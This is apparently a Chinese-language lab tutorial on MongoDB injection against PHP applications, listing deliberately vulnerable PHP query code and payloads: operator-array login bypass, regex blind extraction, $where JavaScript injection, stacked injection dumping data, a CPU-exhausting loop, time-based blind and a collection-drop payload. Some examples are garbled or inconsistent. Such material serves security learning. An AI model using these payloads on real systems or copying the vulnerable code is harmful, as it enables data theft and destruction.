MongoDB 注入指北
MongoDB 作为 nosql 中比较有代表性的,我把它当做学习 nosql 注入的代表数据库。同样,利用对比的方式快速迁移 MySQL 注入的知识。
MongoDB 极速入门
建议先看菜鸟教程 传送门🚪
基本概念
MySQL
:MongoDB
- 数据库:数据库
- 表:集合
- 数据:文档
语法
由于 MongoDB 的语法与常见的 RDBMS 数据库差距较大,所以不打算一一进行对比。
归纳一下常用的语法:
- 创建数据库:
use DATABASE_NAME
,数据库不存在,则创建数据库,否则切换到指定数据库。 - 查看所有数据库:
show dbs
、db.getCollectionNames()
- 版本:
db.version()
- 删除数据库:
db.dropDatabase()
- 查看当前数据库:
db
、db.getName()
- 插入:
db.COLLECTION_NAME.insert(document)
- 查询:
db.COLLECTION_NAME.find(query, projection)
- 比较语句:
$gt
、$lt
、$gte
、$lte
- OR:MongoDB
OR
条件语句使用了关键字$or
。
1
2
3
4
5
6
7db.COLLECTION_NAME.find(
{
$or: [
{key1: value1}, {key2:value2}
]
}
).pretty() - AND:MongoDB 的
find()
可以传入多个键(key),每个键(key)以,
隔开,即 SQL 的AND
条件。db.COLLECTION_NAME.find({key1: value1, key2: value2})
。当然 MongoDB 也有$and
,所以and
也可以和or
一样用。 - limit:
db.COLLECTION_NAME.find().limit(NUMBER)
- skip:
skip()
方法为跳过指定数量的数据。接受一个数字参数作为跳过的记录条数。db.COLLECTION_NAME.find().limit(NUMBER).skip(NUMBER)
- 注释:
//
- 转为 json:
tojson()
- 所有
db
的方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34> db.
db.adminCommand( db.getName( db.printSlaveReplicationInfo(
db.aggregate( db.getPrevError( db.propertyIsEnumerable
db.auth( db.getProfilingLevel( db.prototype
db.changeUserPassword( db.getProfilingStatus( db.removeUser(
db.cloneCollection( db.getQueryOptions( db.repairDatabase(
db.cloneDatabase( db.getReplicationInfo( db.resetError(
db.commandHelp( db.getRole( db.revokePrivilegesFromRole(
db.constructor db.getRoles( db.revokeRolesFromRole(
db.copyDatabase( db.getSession( db.revokeRolesFromUser(
db.createCollection( db.getSiblingDB( db.runCommand(
db.createRole( db.getSisterDB( db.runCommandWithMetadata(
db.createUser( db.getSlaveOk( db.runReadCommand(
db.createView( db.getUser( db.serverBits(
db.currentOP( db.getUsers( db.serverBuildInfo(
db.currentOp( db.getWriteConcern( db.serverCmdLineOpts(
db.dbEval( db.grantPrivilegesToRole( db.serverStatus(
db.dropAllRoles( db.grantRolesToRole( db.setLogLevel(
db.dropAllUsers( db.grantRolesToUser( db.setProfilingLevel(
db.dropDatabase( db.group( db.setSlaveOk(
db.dropRole( db.groupcmd( db.setWriteConcern(
db.dropUser( db.groupeval( db.shutdownServer(
db.eval( db.hasOwnProperty db.stats(
db.forceError( db.help( db.system.profile
db.fsyncLock( db.hostInfo( db.toLocaleString
db.fsyncUnlock( db.isMaster( db.toString(
db.getCollection( db.killOP( db.tojson(
db.getCollectionInfos( db.killOp( db.unsetWriteConcern(
db.getCollectionNames( db.listCommands( db.updateRole(
db.getLastError( db.loadServerScripts( db.updateUser(
db.getLastErrorCmd( db.logout( db.users
db.getLastErrorObj( db.printCollectionStats( db.valueOf(
db.getLogComponents( db.printReplicationInfo( db.version(
db.getMongo( db.printShardingStatus(
PHP 联动
其实什么语言是没有太大区别的。我就以 PHP 为例。
由于版本的问题,适用于 PHP 5.x
以下和 7.x
以上的 MongoDB Driver 还有新旧之分:旧版 3 种,新版 3 种,所以 PHP 与 MongoDB 联动有 6 种写法。
旧版写法一
> 用 mongo
类中相应的方法执行增查减改
1 |
|
传递的参数是一个数组,比较安全。这种形式叫 ODM
,它会帮你过滤数据,所以一般不用担心原语句被破坏。顺便提一下,ORM
对应关系型数据库,如 MySQL;ODM
对应文档型数据库,如 MongoDB。它们的区别就在与对应的数据库类型不同,查询的形式都是通过一个类操作数据库而不是自己处理数据库语句,例如:$coll->find();
。
但是 MongoDB 有个$where
操作符是可以执行 JavaScript 语句的,可扩展性一下就变强了,于是有人会这样用:
旧版写法二
> 用 $where
操作符
1 |
|
旧版写法三
> 用 execute
方法执行字符串
1 |
|
传进 execute
的参数就是字符串。
新版写法一
利用 executeQuery
直接进行查询:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<?php
$manager = new MongoDB\Driver\Manager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$query = new MongoDB\Driver\Query(array(
'uname'=>$uname,
'pwd'=>$pwd
));
$result = $manager->executeQuery('sec_test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo 'username: '.$user['uname']."\n";
echo 'password: '.$user['pwd']."\n";
}
}
else{
echo '未找到';
}
?>
与旧版写法一类似。
新版写法二
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26<?php
$manager = new MongoDB\Driver\Manager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$function = "function() {if(this.uname == '$uname' && this.pwd == '$pwd') return {'username': this.uname, 'password': this.pwd}}";
$query = new MongoDB\Driver\Query(array(
'$where' => $function
));
$result = $manager->executeQuery('sec_test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo 'username: '.$user['uname']."\n";
echo 'password: '.$user['pwd']."\n";
}
}
else{
echo '用户不存在';
}
?>
与旧版写法二类似。
新版写法三
还有人喜欢用 Command
去实现 Mongo 的 distinct
方法。举例如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
$manager = new MongoDB\Driver\Manager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$cmd = new MongoDB\Driver\Command([
'eval'=> "db.users.distinct('uname', {uname: '".$uname."', pwd: '".$pwd."'})"
]);
echo "db.users.distinct('uname', {uname: '".$uname."', pwd: '".$pwd."'})";
$result = $manager->executeCommand('sec_test', $cmd)->toArray();
$result =((array)$result[0])['retval'];
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo 'username: '.$user['uname']."\n";
echo 'password: '.$user['pwd']."\n";
}
}
else{
echo '用户不存在';
}
?>
这个类似旧的写法三。
接下来按照写法的不同,分别介绍注入的手段。
以下内容均以这个数据库为例:
1
2
3
4> d.find()
{ "_id" : ObjectId("5cc196960bc6687b80b15028"), "id" : 1, "uname" : "admin", "pwd" : "admin" }
{ "_id" : ObjectId("5cc196a30bc6687b80b15029"), "id" : 2, "uname" : "admin123", "pwd" : "123456" }
{ "_id" : ObjectId("5cc196af0bc6687b80b1502a"), "id" : 3, "uname" : "root", "pwd" : "toor" }
旧版写法一与新版写法一
这两者注入的方式很类似,放在一起说,以新版的为例。
由于参数是数组,不是直接拼接字符串,也就意味着无法破坏原有语句。在这种情况下,只有一种类型注入的方式:二维数组注入
(这个名字是我瞎编的)。
常规
常规注入记有回显。可以接受这样的请求并且将查询的结果打印出来:
1
2
3» curl "192.168.26.173/?username=admin&password=admin"
username: admin
password: admin
这个请求映射到数据库里的语句是类似这样的:
1
db.users.find({username: 'admin', password: 'admin'});
很明显我们可控的点为这两个'admin'
。
之前说过,试图逃逸单引号是不会成功的:
1
2» curl "192.168.26.173/?username=admin'&password=admin"
未找到
但是我们可以这样:
1
db.users.find({username: {'$ne': ''}, password: {'$ne': ''}});
那么怎么让原来的'admin'
变为{'$ne': ''}
呢?这个语句对应到 PHP 那边的 payload 就是二维数组:
1
2
3
4
5
6
7» curl 'http://192.168.26.173/?username\[$ne\]=&password\[$ne\]='
username: admin
password: admin
username: admin123
password: admin123
username: root
password: toor
利用此特性,我们可以传入数据,是数组的键名为一个操作符(大于:$gt
,小于:$lt
等等),完成一些我们想要的查询语句。
布尔盲注
回想一想上面的例子,假如页面不会把数据打印出来呢?只是告诉你成功或者失败,那么就是我们在 MySQL 里遇到的布尔盲注了。布尔盲注重点在于怎么逐个提取字符,MySQL 里我们可以采用substr
,而在 MongoDB 里我们有 $regex
。
示例:
1
2
3
4
5
6
7
8
9
10db.users.find({username: {'$regex': '^a'}, password: {'$ne': ''}}); // 猜解第一个字符
db.users.find({username: {'$regex': '^ad'}, password: {'$ne': ''}}); // 猜解第一个字符
db.users.find({username: {'$regex': '^adm'}, password: {'$ne': ''}}); // 猜解第一个字符
db.users.find({username: {'$regex': '^admi'}, password: {'$ne': ''}}); // 猜解第一个字符
db.users.find({username: {'$regex': '^admin'}, password: {'$ne': ''}}); // 猜解第一个字符
...
正则表达式玩的 6,MongoDB 注入没烦恼 (狗头)
旧版写法二与新版写法二
$where
操作符是可以执行 JavaScript 语句的。如果版本在 2.4 之前,通过 $where
操作符使用 map-reduce
、group
命令可以访问到 MongoDB shell 中的全局函数和属性,如 db。也就是说可以在自定义的函数里获取数据库的所有信息。
常规
由于存在回显,我们可以通过 return
来返回任意的数据。
如果
db
能用
有 2 类 payload:
- 所有的数据库名
1
2$uname = "'||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//"
$pwd = "anything"
相当于
1
$function = "function() {if(this.uname == ''||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//' && this.pwd == 'anything') return {'username': this.uname, 'password': this.pwd}}";
- 其他
类似的 payload 还有很多,毕竟db
能用的函数非常多
另一类的 payload 和 👇 一样
如果
db
不能用
这类 payload 就是使得 if
永真:
- 数据库里的所有数据(也可以当做万能密码使用)
1
2$uname = "anything"
$pwd="admin' || '' == '"
相当于
1
$function = "function() {if(this.uname == 'anything' && this.pwd == 'admin' || '' == '') return {'username': this.uname, 'password': this.pwd}}";
应该就这一个利用场景
布尔盲注
如果页面没有回显,只有类似成功/失败
,那么就只能用布尔盲注。
如果
db
能用:
- 获取所有数据库的数量:
1
$uname = "'||db.getCollectionNames().length>0&&'1'=='1"
相当于
1
$function = "function q() {if(this.uname == '' && db.getCollectionNames().length > 0 && '1' == '1') return true }";
这样慢慢地去判断。 - 其他
类似的 payload 还有很多,毕竟db
能用的函数非常多
如果
db
不能用
- 万能密码:
1
2$uname = "anything"
$pwd="admin' || '' == '"
相当于
1
$function = "function q() {if(this.uname == 'anything' && this.pwd == 'admin' || '' == '') return true}";
应该只有这一个利用场景。
最后,写法二还有一个好玩的 payload:
1
2$uname = "'){}else{var date = new Date(); do{curDate = new Date();}while(curDate-date<10000);}})//"
$pwd="admin' || '' == '"
相当于
1
$function = "function q() {if(this.uname == ''){}else{var date = new Date(); do{curDate = new Date();}while(curDate-date<10000);}})//' && this.pwd == 'anything') return true}";
利用循环将 cpu 使用率飙升至 100%,持续 10000 ms
旧版写法三与新版写法三
直接将输入拼接到查询语句里,是很不妥的写法,一旦过滤出现问题,危害很大。
常规
老样子,先通过逃逸引号的方式破坏原语句,再插入恶意语句,最后闭合剩下的原有语句:
- 万能密码
payload:
1
2user = ""
pwd = "anything"
布尔盲注
和之前旧版写法一与新版写法一
中的布尔盲注一样,也是利用$regex
逐个拿字符。
堆叠注入
MongoDB 语句以;
为分割。以 PHP 为例,由于 execute
支持多语句执行,所以可以闭合原语句后利用;
在后面拼接任意新的语句,达到执行任意语句的效果。相当于有了 MongoDB shell,db
是可以随意使用的,能做的事情非常多。注意,较高版本的堆叠注入用不了注释//
- 万能密码
payload:
1
2$user = "admin', $where: "function(){return "
$pwd = "}", uname:'admin"
效果如下:
1
db.users.distinct('uname', {uname: 'admin', $where: "function(){return ', pwd: '}", uname:'admin'})
或者
1
2$user = "admin', $or: [{"
$pwd = ": {$ne: ''}},{}], uname:'admin"
效果如下:
1
db.users.distinct('uname', {uname: 'admin', $or: [{', pwd: ': {$ne: ''}},{}], uname:'admin'})
- 还可以把数据直接带出来:
payload:
1
2username = "'}); return [{uname: tojson(db.getCollectionNames()), pwd: 2}]; var a=({'a': "
password = "+'"
效果如下:
1
db.users.distinct('uname', {uname: ''}); return [{uname: tojson(db.getName()), pwd: 2}]; var a=({'a': ', pwd: '+''})
此时返回的数据就为{uname: "sec_test", pwd: 2}
,可以拿到数据库名。利用这个办法,可以拿到很多数据:- 所有数据库:
{uname: tojson(db.getCollectionNames()), pwd: 2}
- MongoDB 版本:
{uname: tojson(db.version()), pwd: 2}
- 表
users
的第一条数据:{uname: tojson(db.users.find()[0]), pwd: 2};
- 所有数据库:
- 时间盲注:
payload:
1
2$uname = "anything'});if (db.version() > "0") { sleep(1000) }var b=({a:'1"
$pwd = "anything"
效果如下:
1
db.test.find({uname:'anything'});if (db.version() > "0") { sleep(1000) }var b=({a:'1', pwd:'anything'});
- 其他:
上辈子一定是仇人系列:
1
2username = "'}); db.users.drop(); var a=({'a': "
password = "+'"
插入等等语句均可。
来呀快活呀